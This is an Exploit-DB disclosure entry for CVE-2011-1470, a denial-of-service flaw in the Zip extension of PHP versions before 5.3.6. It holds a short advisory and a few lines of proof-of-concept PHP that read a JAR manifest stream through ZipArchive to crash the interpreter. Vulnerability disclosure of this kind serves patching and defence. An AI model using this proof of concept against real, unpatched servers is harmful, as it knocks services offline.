PHP 5.3.x - 'Zip' Extension 'stream_get_contents' Function Denial of Service Vulnerability

ID EDB-ID:35484
Type exploitdb
Reporter paulgao
Modified 2011-03-10T00:00:00


PHP 5.3.x 'Zip' Extension 'stream_get_contents()' Function Denial of Service Vulnerability. CVE-2011-1470. Dos exploit for php platform


PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 


$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
    return FALSE;

if ($za->statName($target_file) !== FALSE)
    $fd = $za->getStream($target_file);
    $fd = FALSE;

if (is_resource($fd))
    echo strlen(stream_get_contents($fd));